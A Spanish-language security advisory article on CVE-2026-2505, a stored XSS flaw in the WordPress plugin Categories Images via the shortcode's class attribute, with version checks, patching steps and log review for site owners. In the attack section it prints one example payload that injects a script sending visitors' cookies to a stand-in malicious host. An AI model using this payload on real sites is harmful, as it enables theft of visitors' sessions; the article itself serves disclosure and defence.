CVE-2026-2505 WordPress es una vulnerabilidad de tipo Stored XSS descubierta en el plugin Categories Images, que afecta todas las versiones hasta la 3.3.1. Publicada el 18 de abril de 2026 con puntuación CVSS 3.1 de 5.4, permite que cualquier usuario con rol Contributor inyecte scripts maliciosos vía el shortcode [z_taxonomy_image], que luego se ejecutan en el navegador de quien visite la página comprometida.
En 30 segundos
- Plugin afectado: Categories Images versiones hasta 3.3.1 inclusive
- Tipo: Stored XSS (Cross-Site Scripting almacenado) via shortcode
[z_taxonomy_image], parámetroclass - Nivel de acceso necesario para explotar: rol Contributor o superior
- Puntuación CVSS 3.1: 5.4 (medio), vector de red, sin necesidad de interacción del admin
- Fix disponible: actualizar a la versión parcheada publicada en el changeset 3499275 del repositorio oficial
Wordfence es un plugin de seguridad para WordPress desarrollado por Wordfence Inc. que protege contra malware, ataques de fuerza bruta y vulnerabilidades mediante un firewall de aplicación web (WAF) e integra herramientas de escaneo.
CVE-2026-2505: La vulnerabilidad XSS en Categories Images
Categories Images es un plugin de WordPress que muestra imágenes asociadas a taxonomías mediante el shortcode [z_taxonomy_image]. No es un plugin de nicho oscuro: tiene instalaciones activas en sitios que usan categorías visuales para WooCommerce, blogs de recetas, portales de noticias con secciones diferenciadas. Bastante difundido para su propósito específico.
La vulnerabilidad, documentada por Wordfence Threat Intelligence y registrada formalmente en INCIBE-CERT el 18 de abril de 2026, tiene un CVSS 3.1 de 5.4 con vector AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N. Traducido: se explota por red, sin complejidad especial, requiere privilegios bajos (Contributor alcanza), y necesita que una víctima interactúe con la página. El alcance cambia (S:C), lo que significa que el script puede afectar contextos más allá de la sesión del atacante.
Cómo funciona el ataque: Stored XSS via shortcode

Ponele que tenés un blog de WordPress con Categories Images activo y varios colaboradores con rol Contributor. Uno de ellos, con o sin malas intenciones, crea un post con el siguiente shortcode:
[z_taxonomy_image class="cualquier-clase"><script>document.location='https://sitio-malicioso.com/?c='+document.cookie</script>"]
¿Qué pasa cuando alguien visita esa página? El script se ejecuta en el navegador de la víctima. Tema relacionado: herramientas de protección recomendadas.
El problema técnico es que el atributo class del shortcode pasa directamente por una función de construcción de imagen de fallback que concatena atributos HTML sin ningún tipo de escape. No hay esc_attr(), no hay sanitización, no hay nada. El input del atacante llega intacto al HTML renderizado. El changeset del fix en el repositorio oficial muestra exactamente qué líneas se tocaron para corregirlo.
La parte «almacenada» del XSS es relevante: el payload no viaja en la URL (como en XSS reflejado), sino que queda guardado en la base de datos, dentro del contenido del post. Cada vez que alguien visita la página, el script se ejecuta. Sin que el atacante tenga que hacer nada más.
Quién está en riesgo
Para que esto sea explotable necesitás tres condiciones simultáneas:
- Plugin Categories Images instalado y activo, versión 3.3.1 o anterior
- Al menos un usuario con rol Contributor (o superior: Author, Editor, Admin) que pueda crear o editar contenido
- Visitantes que interactúen con las páginas donde esté el shortcode inyectado
El escenario más común: sitios con varios autores, agencias con clientes que publican sus propios posts, blogs colaborativos, tiendas WooCommerce con categorías ilustradas. Cualquier WordPress multiautor donde no se revisa cada shortcode antes de publicar.
Los sitios de un solo administrador-autor tienen una superficie de ataque mucho menor, porque el atacante tendría que comprometer primero la cuenta del admin para hacer algo. El riesgo real está en los multiusuario.
Cómo verificar si tu WordPress está afectado
Rápido y sin misterio:
- Entrá a WP-Admin > Plugins > Plugins instalados
- Buscá «Categories Images» en el listado
- Fijate la versión que aparece abajo del nombre
- Si es 3.3.1 o menor, estás afectado
También podés ir a Plugins > Actualizaciones disponibles y ver si aparece Categories Images con una actualización pendiente. Si aparece, es señal de que la versión instalada es vulnerable.
Para verificar por SSH o WP-CLI si tenés acceso:
wp plugin list --name=categories-images --fields=name,version,status Sobre eso hablamos en vulnerabilidades similares documentadas recientemente.
Pasos para protegerse: actualizar y auditar
El flujo estándar, sin saltear pasos:
- Backup primero. Siempre. Antes de cualquier actualización de plugin con vulnerabilidad activa.
- Actualizar Categories Images a la versión que incluye el changeset 3499275. Desde WP-Admin > Plugins o con
wp plugin update categories-images. - Si no usás el plugin activamente, desactivalo y eliminalo. No hay razón para mantener un plugin innecesario, parcheado o no.
- Revisar posts y páginas existentes en busca de usos del shortcode
[z_taxonomy_image]con atributos sospechosos. Si tenés muchos posts, podés buscar en la base de datos:SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%z_taxonomy_image%'.
Eso sí: si encontrás shortcodes con valores raros en el atributo class, considerá que ya puede haber ocurrido explotación. No borres evidencia sin revisar los logs primero.
Detección de explotación: qué buscar en logs
La pregunta real es: ¿alguien ya lo usó antes de que te enteraras? La respuesta honesta es que no hay forma de saberlo con certeza sin revisar.
Wordfence, si lo tenés activo, puede mostrar alertas sobre inyecciones de scripts en contenido guardado. También podés revisar:
- Logs de acceso del servidor: buscá requests POST a
wp-admin/post.phpowp-json/wp/v2/postscon contenido sospechoso, especialmente en los días anteriores al parche - Historial de revisiones del post: WordPress guarda revisiones; si hay shortcodes raros en versiones anteriores de un post, quedaron registrados en
wp_postsconpost_type='revision' - Comportamiento anormal en frontend: redirects inesperados, pop-ups, consola del navegador con errores de scripts externos
- Alertas de Sucuri o Wordfence: si tenés monitoreo activo de integridad de archivos y cambios de base de datos
Si el sitio tiene hosting con acceso a logs de server (un buen plan en donweb.com los incluye), revisá los logs de acceso del período entre el momento en que se instaló el plugin vulnerable y hoy.
El rol de Wordfence en el descubrimiento
Wordfence Threat Intelligence fue quien documentó y publicó este CVE en su base de datos. El ID interno de la vulnerabilidad en su sistema es 34fb64d5-e152-4950-9ef4-6d53a97a56fb. Este es el flujo habitual: equipo de seguridad descubre o recibe reporte, coordina con el desarrollador del plugin, el parche se publica, se asigna el CVE y se divulga públicamente.
El changeset publicado en el repositorio oficial de WordPress Plugins (3499275) es la evidencia del fix aplicado. El desarrollador corrigió la concatenación de atributos HTML sin escape en el path de renderizado del fallback del shortcode. Ya lo cubrimos antes en soluciones WAF especializadas en WordPress.
¿Alguien lo verificó de forma independiente fuera de Wordfence? INCIBE-CERT lo registró y validó el vector CVSS, lo que le da peso institucional a la clasificación. El NVD/NIST también debería tenerlo indexado en las próximas horas o días post-publicación.
Errores comunes al gestionar este tipo de vulnerabilidades
Error 1: Esperar a «ver si pasa algo». El payload está almacenado en la base de datos. No necesitás que el atacante haga nada más. Cada visita a la página comprometida ejecuta el script. No hay una ventana de gracia donde «todavía no pasó nada».
Error 2: Actualizar sin hacer backup. Poco probable que una actualización de plugin rompa algo crítico, pero con una vulnerabilidad activa hay posibilidad de que el sitio ya esté comprometido. Si actualizás sobre un sitio comprometido sin backup, no podés volver atrás para analizar qué pasó.
Error 3: Asumir que Contributor «no puede hacer nada malo». Este es el punto central de CVE-2026-2505. Rol Contributor + shortcode vulnerable = ejecución de scripts en visitantes. La separación de roles en WordPress es importante, pero no compensa plugins que no sanitizan inputs. Si en tu instalación hay colaboradores de terceros (agencias, freelancers, clientes), revisá qué plugins tienen shortcodes sin validación.
Si querés profundizar en vulnerabilidades XSS en widgets de WordPress, tenemos un análisis detallado en CVE-2026-2505.
Preguntas Frecuentes
¿Qué es CVE-2026-2505 y cómo afecta a mi sitio?
CVE-2026-2505 es una vulnerabilidad Stored XSS en el plugin Categories Images para WordPress, versiones hasta 3.3.1. Un usuario con rol Contributor puede inyectar código JavaScript malicioso via el atributo class del shortcode [z_taxonomy_image]. Ese código se ejecuta en el navegador de cualquier visitante que acceda a la página donde está el shortcode. Complementá con arquitecturas de defensa multicapa.
¿Cómo actualizo el plugin Categories Images?
Desde WP-Admin > Plugins > Plugins instalados, localizá Categories Images y hacé clic en «Actualizar ahora». También podés hacerlo desde WP-Admin > Escritorio > Actualizaciones. Con WP-CLI: wp plugin update categories-images. Asegurate de hacer backup antes de actualizar.
¿Estoy en riesgo si tengo este plugin activo pero sin colaboradores?
El riesgo baja si sos el único autor del sitio, porque el atacante necesita acceso con rol Contributor para insertar el shortcode malicioso. Aún así, el plugin sigue siendo vulnerable y conviene actualizarlo: si alguna cuenta queda comprometida por otro vector (fuerza bruta, password leak), la vulnerabilidad se vuelve explotable inmediatamente.
¿Qué es el shortcode z_taxonomy_image y por qué es vulnerable?
[z_taxonomy_image] es el shortcode del plugin Categories Images para mostrar imágenes de taxonomías en cualquier parte del contenido. Es vulnerable porque el atributo class que acepta el shortcode pasa directamente a una función que construye HTML de imagen fallback concatenando atributos sin aplicar escape (sin esc_attr() ni equivalente). El fix del changeset 3499275 agrega esa sanitización faltante.
¿Cómo detecto si ya explotaron esta vulnerabilidad en mi sitio?
Revisá los posts y páginas que usan el shortcode [z_taxonomy_image] buscando valores inusuales en el atributo class. Chequeá el historial de revisiones de esos posts en la base de datos. Wordfence puede mostrar alertas sobre scripts inyectados en contenido. Si detectás comportamiento anormal en el frontend (redirects, scripts externos), tratalo como señal de compromiso activo.
Conclusión
CVE-2026-2505 es un recordatorio de algo que pasa seguido: plugins con funcionalidad aparentemente simple (mostrar una imagen de taxonomía) pueden tener vectores de ataque no obvios en sus shortcodes. El problema no está en la funcionalidad, sino en no escapar inputs que terminan en HTML.
El fix existe, está disponible, y actualizar Categories Images toma dos minutos. Si no usás el plugin, eliminalo directamente. Si tenés un WordPress multiautor y plugins que aceptan shortcodes con parámetros libres, este es buen momento para revisar qué más podría tener el mismo problema. La vulnerabilidad puntual es media (5.4 CVSS), pero la superficie de ataque en sitios colaborativos la hace más relevante de lo que el número sugiere.